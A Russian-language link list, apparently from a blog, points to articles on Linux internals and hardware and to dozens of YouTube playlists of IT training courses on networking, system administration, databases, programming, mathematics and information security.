70+ бесплатных инструментов для компьютерной криминалистики (форензики)
uzverss Средства обеспечения безопасности в Linux
uzverss список доступных криптографических инструментов и децентрализованных сервисов.

------------------------------------------------------------------------
uzverss Как сделать простой веб-сайт за один час
Администрирование сообществ ВКонтакте
uzverss наиболее частые команды для коммутаторов
uzverss работа с сетевыми интерфейсами
------------------------------------------------------------------------

Цифровая энтропия: почему ваш сервер с аптаймом в 1000 дней — это ходячий мертвец, и как с этим жить

75 фактов, которые полезно знать перед тем, как выложить сайт
Опыт установки нейросети на домашний пк⁠⁠
http://torch.ch/docs/getting-started.html
Документы для фрилансеров

Почему в Linux «Всё есть файл»? Или почему гениальные абстракции UNIX настолько гениальны
Анатомия Hello World на языке C
Ассемблер: рассматриваем каждый байт «Hello, World!». Как на самом деле работают программы на уровне процессора и ОС
Файл дескриптор в Linux с примерами
Числа и байты: как работает память в Linux?
Почему работать в консоли настолько приятно? Так задумано отцами-основателями Unix
Виртуальные твари и места их обитания: прошлое и настоящее TTY в Linux
Оболочка и терминал Unix — это одно и то же?
Hello, World! Глубокое погружение в Терминалы
Как Linux запускает процесс
The Linux Graphics Stack
Графический стек Linux
Что придет на замену X Window System?
Wayland на замену X Window System
Вперед в будущее: Wayland против X11
Назад к истокам: рулим компьютером прямо из MBR
Как работает хэширование
Схема распайки компьютерного порта COM - rs232, DE-9, DB-9, CANNON9
Виртуальный COM-порт на STM32 или как управлять контроллером через USB не привлекая внимания санитаров
Что означают флаги в / proc / cpuinfo?
Правильный выбор центрального процессора. Читаем прайс между строк
16-битная операционная система на коленках
Как написать и подключить драйвер звука
Введение в ELF-файлы в Linux: понимание и анализ
Как самому за один вечер собрать минимальную ОС Linux из исходного кода
Собираем Linux, который весит меньше, чем мем с котиком, ну или почти…
ЕРЕСЬ ЗВУКОЗАПИСИ (пособие по домашней звукозаписи и любительской звукорежиссуре)





подборка сисадмина 1
подборка сисадмина 2

Раздел Видео из подборки сисадмина

суть профессии

раскрыть тему
------------------------------------------------------------------------
JavaRush CS50 на русском (Гарвардский курс по основам программирования)
https://www.youtube.com/playlist?list=PLawfWYMUziZqyUL5QDLVbe3j5BKWj42E5
------------------------------------------------------------------------
Курсомир 6.00sc Основы программирования [MIT]
https://www.youtube.com/playlist?list=PLxZ7p55WWz1la38FHUrOqNEBCn7tZfKf3
------------------------------------------------------------------------
1000+ часов видео по Java на русском
------------------------------------------------------------------------
Tech Net Курсы информационных технологий
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kiTXSFVZvwI_GK-W7fy1tnA
Tech Net Введение в компьютерные сети, интернет и мультимедийные технологии
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kgsogMfMR5KZMqokOyA7jKF
Tech Net Основы операционных систем
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kh-Ohb1c1MZAeLUXQ52nbsL
Tech Net Локальная компьютерная сеть
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kgBquYFvIWDsXC8X6G_p4Pn
Tech Net DNS - Domain Name System (система доменных имён)
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kjN41Du3ywf9Cs3m0zZeGG7
Tech Net IPv6 Теория и Практика
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khzE8kLIAF2rmfmeVYQ7HTx
Tech Net Лекции по Linux
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kilreP3jNKwCKIYuorhjjgI
Tech Net Безопасность Linux
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khkUwuVfS-MpQDfAvAiqtzu
Tech Net Linux - 17 ИT технологий
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khvfzN1oJOPql_l3BiiaREv
Tech Net Безопасность Linux
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khkUwuVfS-MpQDfAvAiqtzu
Tech Net Курс Cisco ROUTE – Маршрутизация в сетях Cisco
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kjQk5TLih0NN-ysHqzIz54U
Tech Net Active Directory
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kiNq4OXLW-igZC8YZEix1U9
Tech Net SQL Server
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khzIDMZ65_ZcvhRsOj_U21S
Tech Net Основы администрирования БД Oracle
https://www.youtube.com/playlist?list=PLKX3Vgy9l-kh6UDYX-wdKJiNn-xcZYpCT
Tech Net Пошаговое изучение радиоэлектроники с полного нуля
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khtGSvlpEkt2L041zeykkCJ
Tech Net Английский язык (Драгункин)
https://www.youtube.com/playlist?list=PLKX3Vgy9l-khv4bllBbCRVrPcqWdIEeRf
------------------------------------------------------------------------
VIST Межсетевое взаимодействие в сетях на базе TCP/IP
https://www.youtube.com/playlist?list=PLL_npBLPrdmTgYvi1vUwFAUQaij0p8moB
VIST Администрирование Windows Server 2012
https://www.youtube.com/playlist?list=PLL_npBLPrdmSxAdYd75bN6dhaNEyPS58Z
VIST Службы Active Directory в Windows Server 2012 R2
https://www.youtube.com/playlist?list=PLL_npBLPrdmSTcrmNNrv88onW2zL8FAWt
VIST Linux (Ubuntu). Уровень 1. Основы администрирования и безопасности
https://www.youtube.com/playlist?list=PLL_npBLPrdmSfYSYT8RMwTqNuD9DexUmL
VIST Linux. Уровень 2. Использование систем на UNIX в качестве серверов
https://www.youtube.com/playlist?list=PLL_npBLPrdmRhQd4cfom7BTKggy8INkoF
VIST Администратор серверов Linux (Ubuntu). Уровень 1
https://www.youtube.com/playlist?list=PLL_npBLPrdmT1bMMgfWhI-urQMipMHSYF
VIST Администратор серверов Linux (Ubuntu). Уровень 2
https://www.youtube.com/playlist?list=PLL_npBLPrdmRQtnfsz8OjTF_QzDOWRkcO
VIST Корпоративная голосовая связь и онлайн сервисы Microsoft Lync Server 2013
https://www.youtube.com/playlist?list=PLL_npBLPrdmTjTKpEPAeTV7pv37Lktgt7
VIST Основы программирования в системе 1С
https://www.youtube.com/playlist?list=PLL_npBLPrdmSFiTVeIJ8jz6fhiy1BCLzb
VIST Разработка Windows приложений в Microsoft Visual Studio
https://www.youtube.com/playlist?list=PLL_npBLPrdmRuhB5Igai3DmsgWPz_xCor
VIST Основы администрирования Oracle 11g, часть I
https://www.youtube.com/playlist?list=PLL_npBLPrdmSHdki9TEgQgtpjSbOeEP36
VIST MySQL 5. Проектирование и создание баз данных для web
https://www.youtube.com/playlist?list=PLL_npBLPrdmQo3s_nG1ueCvt5FDeDwY6p
VIST Английский язык для начинающих (Beginner)
https://www.youtube.com/playlist?list=PLL_npBLPrdmRCFwtOIEcTwcdTuHFtLLQR
------------------------------------------------------------------------
Kontur Academy Hackerdom-01 Вводная лекция
https://www.youtube.com/playlist?list=PLU-TUGRFxOHgxyJSpAYiJaheMwkumGUTK
Kontur Academy Hackerdom-02 Криптография
https://www.youtube.com/playlist?list=PLU-TUGRFxOHjDvu4NHrpFdpYI20-zOG2-
Kontur Academy Hackerdom-03 Хеши и биткоины
https://www.youtube.com/playlist?list=PLU-TUGRFxOHju9zvTeX_E5xFfRcx9hYlG
https://www.youtube.com/playlist?list=PLU-TUGRFxOHhaF68Xo_oXE1nuRj5RiP1P
Kontur Academy Hackerdom-04 Стеганография
https://www.youtube.com/playlist?list=PLU-TUGRFxOHgt6RiS-f8vVLzbk8cpqhl9
Kontur Academy Hackerdom-05 Сети, часть 1
https://www.youtube.com/playlist?list=PLU-TUGRFxOHgDmoiAExzK0M1qM0RaBQ8f
Kontur Academy Hackerdom-06 Сети, часть 2
https://www.youtube.com/playlist?list=PLU-TUGRFxOHjGFH9FgsIatv0HB9fAcAgH
Kontur Academy Hackerdom-07 Протокол HTTP
https://www.youtube.com/playlist?list=PLU-TUGRFxOHhtOe_VW9yjW4dqCOG53UJX
Kontur Academy Hackerdom-08 Инъекции
https://www.youtube.com/playlist?list=PLU-TUGRFxOHj_MkCMp5LFv-AUuFMP2Opb
Kontur Academy Hackerdom-09 Linux
https://www.youtube.com/playlist?list=PLU-TUGRFxOHjfl2oMuOjWutiAn1HT9Xfe
Kontur Academy Hackerdom-10 Низкоуровневое программирование
https://www.youtube.com/playlist?list=PLU-TUGRFxOHhx-ml-r6oXuyCsLNUTeyUg
Kontur Academy Hackerdom-11 Reverse Engineering
https://www.youtube.com/playlist?list=PLU-TUGRFxOHix3dnJuSO5QqA2xCH22O3Q
Kontur Academy Hackerdom-12 Бинарные уязвимости
https://www.youtube.com/playlist?list=PLU-TUGRFxOHjDoi8FNb5l0jc7b1nhk_X5
Kontur Academy Testing-1 Методы тестирования
https://www.youtube.com/playlist?list=PLU-TUGRFxOHh5XXwxXRT8gR9YcUS42cw7
Kontur Academy Testing-2 Боекомплект тестировщика
https://www.youtube.com/playlist?list=PLU-TUGRFxOHhSlreTx-IfjruAaGSni5u8
Kontur Academy Testing-3 Методика тестирования
https://www.youtube.com/playlist?list=PLU-TUGRFxOHhRhoHJfZ-xqnRvkKhE7gA8
Kontur Academy Testing-4 Оформление багов
https://www.youtube.com/playlist?list=PLU-TUGRFxOHgGzXph44nkanfGFz7c6Ztm
------------------------------------------------------------------------
Pentestit Информационная безопасность: общие вопросы.
https://www.youtube.com/playlist?list=PLcjZpuUTN3-ixjRN42HOJ3YXps3I_kUbY
Pentestit Этичный хакинг и тестирование на проникновение.
https://www.youtube.com/playlist?list=PLcjZpuUTN3-j8dUWRIGmDB4mJrzjNW-My
Pentestit Корпоративные лаборатории Pentestit, 2015-2016
https://www.youtube.com/playlist?list=PLcjZpuUTN3-hvee3gx43vveuO2t_yiEyU
Pentestit Гости "Корпоративных лабораторий Pentestit"
https://www.youtube.com/playlist?list=PLcjZpuUTN3-iY82IE30Ff0XPl7_DzaOuI
Pentestit Zero Security: A. Демо-записи вебинаров.
https://www.youtube.com/playlist?list=PLcjZpuUTN3-i_1H0Df4mqMruZNLwVZW7k
Pentestit Корпоративные лаборатории. Демо-записи вебинаров.
https://www.youtube.com/playlist?list=PLcjZpuUTN3-jZs1sRIqe34DBQRiY6TmDf
------------------------------------------------------------------------
Learning TCP IP Межсетевое взаимодействие
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbyGW6wYyrd3yO-YPJFYJntl
Learning IPv6
https://www.youtube.com/playlist?list=PL1LeoQF_fJbyLME4h7aQeY4VJH38ki1wW
Learning About OSPF
https://www.youtube.com/playlist?list=PL1LeoQF_fJbxRbG2F2wOPLE4qfOK4V0Ws
Learning Cisco ICND1
Дополнительный материал
https://www.youtube.com/playlist?list=PL1LeoQF_fJbw3C-mSvbLkGYwdvSCWf0Pa
Learning Cisco TSHOOT 2.0
https://www.youtube.com/playlist?list=PL1LeoQF_fJbyJxEljEoPn27OiSNl4sFcK
Learning CEH: Certified Ethical Hacking
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbzOHndcGO_XyFDE6jRz1AM-
Learning Asterisk
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbwBLeP3qXoq1jcsw7gF1_aD
Learning Microsoft 20410D
курс является базовым для всех остальных курсов по Windows Server 2012 R2.
https://www.youtube.com/playlist?list=PL1LeoQF_fJbz0Cx8RDZLFZZo2jmPjapXK
Learning FreeBSD. Уровень 1.Основы администрирования
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbwjusdHa5qt5F4apNOclC-F
Learning FreeBSD. Уровень 2. Расширенное администрирование
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbyR6XhyAFRRWlt5IItD5stz
Learning FreeBSD. Уровень 3. Обеспечение безопасности систем сервисов и сетей
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbxI4W0mh6ZeeUI3eilX1OMd
Learning Основные механизмы платформы 1С 8.3
https://www.youtube.com/playlist?list=PL1LeoQF_fJbzTn_R8kZfCx8dGqOagsiPo
Learning Администрирование 1C8 с нуля 2014
https://www.youtube.com/playlist?list=PL1LeoQF_fJbxJ8ZynwEFaxKmoMFMScrHQ
Learning Разработка мобильных приложений в системе 1С Предприятие 8.3
https://www.youtube.com/playlist?list=PL1LeoQF_fJbzw4aZEGNb4So0a9snhyTD6
Learning MySQL 5
Дополнительные материалы
https://www.youtube.com/playlist?list=PL1LeoQF_fJbykyFsW4IBWiJcwMwz-t7Jw
Learning Администрирование Oracle
Дополнительная информация
https://www.youtube.com/playlist?list=PL1LeoQF_fJbzD7-mkP_-pNRfcoOpSUAS5
Learning SEO-2014
https://www.youtube.com/playlist?list=PL1LeoQF_fJbxWmnKSGJD0TrkF7zLPoPmP
------------------------------------------------------------------------
НОУ ИНТУИТ Компьютерные сети
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IX9zmmGbviuX-ZZaDmhhwU
НОУ ИНТУИТ Сети Wi-Fi
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KdnCMrzXyeSqvP5JAuu1vE
НОУ ИНТУИТ Основы технологии локальных сетей
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KKEd9ig8rRUquMm5SJ2lM9
НОУ ИНТУИТ Основы организации локальных сетей
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KtPpeB5EFk0XlbhodREKFC
НОУ ИНТУИТ Web-технологии
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KOPMxupPxcOqjhRrdqbGVg
НОУ ИНТУИТ Web-технологии (Parallels-Acronis)
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IL7ED0PTRZRgpXhrd2da4t
НОУ ИНТУИТ Модели поискового поведения и взаимодействия в Web
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KNjRhYBBvC9lXsH1ruf3ZP
НОУ ИНТУИТ Администрирование Internet Information Services 7.0
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IlWaXUu7zKXQHxlCN8-LCU
НОУ ИНТУИТ Введение в цифровую электронику
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Lk8Lb2Cz2a2JqVXmwqCo6t
НОУ ИНТУИТ Принципы построения ЭВМ
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IGKz-4r131uMl-RBa5wRTG
НОУ ИНТУИТ Теория информационных технологий и систем
https://www.youtube.com/playlist?list=PLDrmKwRSNx7JObKu6FavebrQ-W4-9bliL
НОУ ИНТУИТ Основы операционных систем
https://www.youtube.com/playlist?list=PLDrmKwRSNx7J5lxLL4U4cWqmCbChQ8gD1
НОУ ИНТУИТ Архитектура ЭВМ и язык ассемблера
https://www.youtube.com/playlist?list=PLDrmKwRSNx7I4QA6z2HlcDkjwW4fpNPva
НОУ ИНТУИТ Программирование
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Lqk77aPjB39BI92y8VLn74
НОУ ИНТУИТ Операционные среды, системы и оболочки
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KxTNHCJaJux6B4oAK7CdC9
НОУ ИНТУИТ Архитектура Windows. Программирование в ядре Windows
https://www.youtube.com/playlist?list=PLDrmKwRSNx7ILqmFaze6SFbPYQVO3XalX
НОУ ИНТУИТ Разработка приложений для Windows 8
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Khv5FwNaAsO261P7NZyk3T
НОУ ИНТУИТ Внутреннее устройство ядра Linux
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Ja7NAt21HgNAIlTvJJ4Kso
НОУ ИНТУИТ Производительность современных файловых систем
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Jb9V-vxNw9cZP9_nG0CODg
НОУ ИНТУИТ Оптимизация приложений с использованием компиляторов Intel
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IYXmQeIPeXR-NNwfYmSLno
НОУ ИНТУИТ Базы данных для школьников
https://www.youtube.com/playlist?list=PLDrmKwRSNx7LI_umdfXOeOJWjoDn6qvgN
НОУ ИНТУИТ Базы данных
https://www.youtube.com/playlist?list=PLDrmKwRSNx7IevHyBKwgdDjP4Y6U74AGg
НОУ ИНТУИТ Хранилища данных
https://www.youtube.com/playlist?list=PLDrmKwRSNx7LdHyMkUGRbY-i3GoV8jD34
НОУ ИНТУИТ Введение в аналитику больших массивов данных
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KrGthfdhT_JUb4KhtQX_A7
НОУ ИНТУИТ Основы разработки прикладных решений для 1С:Предприятие 8.1
https://www.youtube.com/playlist?list=PLDrmKwRSNx7JZ363eo4HCsoz2jmdtLfB7
НОУ ИНТУИТ Основы разработки для платформы 1С:Предприятие 8.2 в режиме
https://www.youtube.com/playlist?list=PLDrmKwRSNx7KPwRNNvBKPe9xYMMbeCCVr
НОУ ИНТУИТ Введение в интернет-маркетинг
https://www.youtube.com/playlist?list=PLDrmKwRSNx7Ihh6tA7klQ5ZiwdP2GLbtY
------------------------------------------------------------------------
Технострим Mail.Ru Group Администрирование Linux (весна 2017)
https://www.youtube.com/playlist?list=PLrCZzMib1e9rx3HmaLQfLYb9ociIvYOY1
Технострим Mail.Ru Group Администрирование Linux (осень 2015)
https://www.youtube.com/playlist?list=PLrCZzMib1e9pun72f4KmFopzPs5pGB85_
Технострим Mail.Ru Group Качество и Тестирование ПО (весна 2015)
https://www.youtube.com/playlist?list=PLrCZzMib1e9pDKLsabJYuODdVJrHYc4Jd
Технострим Mail.Ru Group Web-технологии (осень 2016)
https://www.youtube.com/playlist?list=PLrCZzMib1e9qZwq95WVmGB-acnot5ka4a
Технострим Mail.Ru Group Web-технологии (2013)
https://www.youtube.com/playlist?list=PLrCZzMib1e9rtArVTA_fFBIlYteH23MIm
Технострим Mail.Ru Group HighLoad
https://www.youtube.com/playlist?list=PLrCZzMib1e9qozAkJm0-IyBO2pkUdBLlM
Технострим Mail.Ru Group Безопасность интернет-приложений
https://www.youtube.com/playlist?list=PLrCZzMib1e9qiiSWgZ6pI5HiQzFc4hhdo
Технострим Mail.Ru Group Анализ безопасности веб-проектов
https://stepik.org/course/Анализ-безопасности-веб-проектов-127/
https://www.youtube.com/playlist?list=PLrCZzMib1e9owORdnWTvZIkSCqRFFbHGA
Технострим Mail.Ru Group Базы данных (осень 2014)
https://www.youtube.com/playlist?list=PLrCZzMib1e9r6c-j8aW1JuETSyCBp9iAg
Технострим Mail.Ru Group Введение в анализ данных (весна 2016)
https://www.youtube.com/playlist?list=PLrCZzMib1e9p5F99rIOzugNgQP5KHHfK8
------------------------------------------------------------------------
Лекториум подбор видео
https://www.youtube.com/user/OpenLektorium/playlists
Лекториум Основы математики
https://www.youtube.com/playlist?list=PL-_cKNuVAYAUy7zMDOkS06_Pvn9OciImJ
Лекториум Математические основы Computer Science
https://www.youtube.com/playlist?list=PL-_cKNuVAYAVlOYg9MhZib2xVW8fOcrU4
Лекториум Основы дискретной математики
https://www.youtube.com/playlist?list=PL-_cKNuVAYAXrd5kC5hdppsBNDjuIFYbc
Лекториум Математический анализ | Сергей Кисляков
https://www.youtube.com/playlist?list=PL-_cKNuVAYAU1iqXkA388zr0c45dKvN5Q
Лекториум Математический анализ (часть 2) | Сергей Кисляков
https://www.youtube.com/playlist?list=PL-_cKNuVAYAXKd1VfOqFeL2p6UsiRMILz
Лекториум Математический анализ | Юрий Белов, Юрий Давыдов
https://www.youtube.com/playlist?list=PL-_cKNuVAYAWnvDJdtEOWwBPPL6EPRRxr
Лекториум Введение в метаматематику
https://www.youtube.com/playlist?list=PL-_cKNuVAYAXQgii13MSGdv21mrY1oqBi
Лекториум Английский язык для математиков | Николай Вавилов
https://www.youtube.com/playlist?list=PL-_cKNuVAYAUf_zZ4KK3Pb7hJdjjq5p7x
Лекториум Программное обеспечение GNU/Linux
https://www.youtube.com/playlist?list=PL-_cKNuVAYAUpajPpCyqYTuzx7j_28zps
------------------------------------------------------------------------
Академия Яндекса
https://academy.yandex.ru/
https://vk.com/yandex.academy
https://www.youtube.com/channel/UCTUyoZMfksbNIHfWJjwr5aQ/playlists
Академия Яндекса Системное администрирование
https://www.youtube.com/channel/UCTUyoZMfksbNIHfWJjwr5aQ/playlists?shelf_id=8&view=50&sort=dd
https://www.youtube.com/channel/UCkufieG4LoGkHNOGrgMx3Vg/playlists
------------------------------------------------------------------------
SpecialistTV Информационная безопасность
https://www.youtube.com/playlist?list=PLPNYkZcYUF4sQbZlBhbwnyD5UH2vdjVCk
SpecialistTV Сетевые технологии
https://www.youtube.com/playlist?list=PLPNYkZcYUF4tgamZDtrnIP_Ww2vSfKCPo
SpecialistTV Сетевые технологии Microsoft
https://www.youtube.com/playlist?list=PLPNYkZcYUF4t9_YJTJp2oddtd8GtEsR2C
SpecialistTV Виртуализация
https://www.youtube.com/playlist?list=PLPNYkZcYUF4uyBOlOSryWRDel-qO89REf
SpecialistTV SQL Server
https://www.youtube.com/playlist?list=PLPNYkZcYUF4uBTjKk4cJQLiFtZrz0KUuU
SpecialistTV 1С: Предприятие
https://www.youtube.com/playlist?list=PLPNYkZcYUF4tB0cgrsYAOwAQhUJ-z2dfY
SpecialistTV Ремонт ПК
https://www.youtube.com/playlist?list=PLPNYkZcYUF4szGwLuc8khMhRjyckJTQfW
------------------------------------------------------------------------

------------------------------------------------------------------------
eSyr's video [secsem] Сетевая безопасность
https://www.youtube.com/playlist?list=PL8A2FE0B13A88BBCD
eSyr's video [secsem] Введение в инфобез (2010)
https://www.youtube.com/playlist?list=PL6750663E3A56E96A
eSyr's video [secsem] Введение в инфобез (2011)
https://www.youtube.com/playlist?list=PLF34AC9A2E02C7817
eSyr's video [UNИX] ПО GNU/Linux
https://www.youtube.com/playlist?list=PL387B38E91536055B
eSyr's video [UNИX] Администрирование Linux
https://www.youtube.com/playlist?list=PL7F73C75F2940B94D
eSyr's video [extern][UNИX] Архитектура дистрибутивов Linux 2016
https://www.youtube.com/playlist?list=PL10YceNUOSNwzokMv4MOJtO6zzm-lW4UY
eSyr's video «СПО в высшей школе» 2012
https://www.youtube.com/playlist?list=PL83F92B3D7687E185
eSyr's video [secsem] Лекции специалистов из nginx
https://www.youtube.com/playlist?list=PL6555C9D539966144
------------------------------------------------------------------------
Образовательный IT-портал GeekBrains Системы и сети
https://www.youtube.com/playlist?list=PLmRNNqEA7JoPkUxApljmrVUxGJye01bex
Образовательный IT-портал GeekBrains Информационная безопасность
https://www.youtube.com/playlist?list=PLmRNNqEA7JoN2bp1VXDZcwVgKkiI94Oha
Образовательный IT-портал GeekBrains Курс "Git. Быстрый старт"
https://www.youtube.com/playlist?list=PLmRNNqEA7JoM77hOJkPrLOfJQGizCLR3P
Образовательный IT-портал GeekBrains Подборка видео
Сетевое оборудование [GeekBrains]
Основы сетей передачи данных. Модель OSI и стек протоколов TCP IP. Основы Ethernet. [GeekBrains]
Базы данных - это просто! [GeekBrains]
------------------------------------------------------------------------
Volodya Mozhenkov английский язык
https://www.youtube.com/playlist?list=PLY7PmJJFH5nQxGEA1wOI16DE8kkcEzkNR
Volodya Mozhenkov логика
https://www.youtube.com/playlist?list=PLY7PmJJFH5nRi2mjOdiS9N-eo5FB42MLH
Volodya Mozhenkov алгоритмы
https://www.youtube.com/playlist?list=PLY7PmJJFH5nSkAteyHnYQzi0FY4JniexT
Volodya Mozhenkov компьютерная архитектура
https://www.youtube.com/playlist?list=PLY7PmJJFH5nTGSMdHUMbidWAljuhfRFgJ
Volodya Mozhenkov ОС: оперативная память
https://www.youtube.com/playlist?list=PLY7PmJJFH5nRn3ClKiU-8EF1w46YWDhgc
Volodya Mozhenkov информационная безопасность
https://www.youtube.com/playlist?list=PLY7PmJJFH5nRbkcsNRJMCzzX_8xOtkkvL
Volodya Mozhenkov интернет
https://www.youtube.com/playlist?list=PLY7PmJJFH5nTjHhIWOwCiRdJR0NN1SrEY
Volodya Mozhenkov GNU/Linux
https://www.youtube.com/playlist?list=PLY7PmJJFH5nT--I1AOR42sUg2xOvwC3c0
Volodya Mozhenkov социальные сети
https://www.youtube.com/playlist?list=PLY7PmJJFH5nSCQeNylGrdEnLi7vDi9bR4
Volodya Mozhenkov базы данных
https://www.youtube.com/playlist?list=PLY7PmJJFH5nT-lbFKxfbp3rw5BBuq5Azo
------------------------------------------------------------------------
Антон Севостьянов Основы
https://www.youtube.com/playlist?list=PLgx3uXZgvvfigwZeKPqbMY7K-o3XPusvW
Антон Севостьянов Видеокурсы по информационным технологиям
https://www.youtube.com/playlist?list=PLE72DA2AACE4D473C
Антон Севостьянов Групповые политики Windows Server
https://www.youtube.com/playlist?list=PL3189A3FBC0955A61
Антон Севостьянов Windows Server 2008 R2 - установка и настройка
https://www.youtube.com/playlist?list=PLgx3uXZgvvfiT8l-EKntftEtByBWARie9
Антон Севостьянов Системному администратору
https://www.youtube.com/playlist?list=PL1039030B0F459480
Антон Севостьянов Информационная безопасность
https://www.youtube.com/playlist?list=PL67C40BF3801C71CF
Антон Севостьянов Разное
https://www.youtube.com/playlist?list=PL479E180277013086
Антон Севостьянов Обзор софта
https://www.youtube.com/playlist?list=PL94AC56CFA346E014
------------------------------------------------------------------------
Mihail Kozlov Microsoft
https://www.youtube.com/playlist?list=PL5KGx5_ykLX9NrfwMsw3sTvi151ez2oEk
Mihail Kozlov CISCO
https://www.youtube.com/playlist?list=PL5KGx5_ykLX8ZcczD-CgblvCrYy5w4PqL
Mihail Kozlov Linux, BSD, Asterisk
https://www.youtube.com/playlist?list=PL5KGx5_ykLX_1YM43xZPUZ_smapkeogPm
Mihail Kozlov ORACLE,MongoDB
https://www.youtube.com/playlist?list=PL5KGx5_ykLX89P6wEXZn7FYHwtT2LX-rX
Mihail Kozlov Запросы в MySQL
https://www.youtube.com/playlist?list=PL5KGx5_ykLX8NrmlQTutJ__TH7pnC4qXB
Mihail Kozlov TRANSACT-SQL 2012 - 2014
https://www.youtube.com/playlist?list=PL5KGx5_ykLX-85p7tePlNllR7MWA7h9P5
Mihail Kozlov TRANSACT-SQL 2008
https://www.youtube.com/playlist?list=PL5KGx5_ykLX8AHrmLQSES0WN1zC2j1eQr
------------------------------------------------------------------------
PracticU - онлайн IT курсы Основы сетевых технологий - Networking
https://www.youtube.com/playlist?list=PLrXcA7Ca3B83V8Eo8ck23nA-h9qgnMv_7
PracticU - онлайн IT курсы Курс компьютерной связи CCNA компании Cisco
https://www.youtube.com/playlist?list=PLrXcA7Ca3B82yt_gNjkfJzWF98J01TYIH
PracticU - онлайн IT курсы Курс Linux
https://www.youtube.com/playlist?list=PLrXcA7Ca3B82OQe1hrK5Ph5zMqKVNR3Aq
PracticU - онлайн IT курсы Курс системных администраторов MCSA и MCSE 2012
https://www.youtube.com/playlist?list=PLrXcA7Ca3B81lHrRIuc_zun2tKPlUZxVj
PracticU - онлайн IT курсы Курс техников - Администраторов Windows и сетей
https://www.youtube.com/playlist?list=PLrXcA7Ca3B80m1Tx3dDHV7ysgzKo4DZdi
PracticU - онлайн IT курсы Курс почтовых серверов Exchange 2010 / 2013
https://www.youtube.com/playlist?list=PLrXcA7Ca3B81y9z6Gtrgm2bsQIHKaUygl
PracticU - онлайн IT Курс виртуализации - VMware ESXi 6
https://www.youtube.com/playlist?list=PLrXcA7Ca3B80qDihTTA_i2j1JAQQ6MMi6
PracticU - онлайн IT курсы Курс PowerShell
https://www.youtube.com/playlist?list=PLrXcA7Ca3B82Qtthh9cRPLOr-oUKrs1jB
PracticU - онлайн IT курсы Курс DBA - язык SQL для программистов
https://www.youtube.com/playlist?list=PLrXcA7Ca3B836BfMeCM8Phj826_LptFne
https://www.youtube.com/playlist?list=PLrXcA7Ca3B826YaQ3fM6Wle_4T9sTGEnJ
------------------------------------------------------------------------
Andrey Sozykin Учебный курс "Компьютерные сети"
http://www.asozykin.ru/courses/networks_online
https://yadi.sk/d/I8TOPyldkM3oZ
https://www.youtube.com/playlist?list=PLtPJ9lKvJ4oiNMvYbOzCmWy6cRzYAh9B1
Andrey Sozykin Практики по курсу "Компьютерные сети"
https://www.youtube.com/playlist?list=PLtPJ9lKvJ4oiKPQ9GXOvntj44Eu8IGAJK
Andrey Sozykin Архив
https://www.youtube.com/playlist?list=PLtPJ9lKvJ4oiOpg7EVEpBre3OyrnNcN6N
------------------------------------------------------------------------
Yuriy Lebedev Перенос контроллеров домена в Hyper-V
https://www.youtube.com/watch?v=7G7xHj1Ffmc
Yuriy Lebedev Windows Server 2016
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1BM5-KDWWc5B3c-R5XQ_tJ6
Yuriy Lebedev SQL Server 2016
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1BKVuswU0LQHaxDyrPySuxc
Yuriy Lebedev Microsoft SQL Server 2012
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1A19n74LBUSm4y0cng9lebJ
Yuriy Lebedev Microsoft Windows SBS 2011
https://www.youtube.com/playlist?list=PL19C5E7D567EA4485
Yuriy Lebedev Citrix XenServer 6
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1DKPsTgXtkd3GORlryPB59w
Yuriy Lebedev Практическое использование Windows PowerShell 4.0
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1A-ikd6fM9ZdoqTUBSqJsAU
Yuriy Lebedev Microsoft Windows PowerShell 3.0
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1DWsDTaRD3D-zAtNzlPblf8
Yuriy Lebedev Microsoft Windows PowerShell 2.0
https://www.youtube.com/playlist?list=PL2FB974886B891D67
Yuriy Lebedev VMware vSphere 6.0
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1D2YQLG1QgwzLZLXltSEdku
Yuriy Lebedev Windows 10
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1BSmcEMAxfaJKWlFuhm3BZJ
Yuriy Lebedev Microsoft Windows 7
https://www.youtube.com/playlist?list=PLFD06E3A94DFED50F
Yuriy Lebedev CentOS 5
https://www.youtube.com/playlist?list=PL4915C26CBE8BF157
Yuriy Lebedev CentOS 6
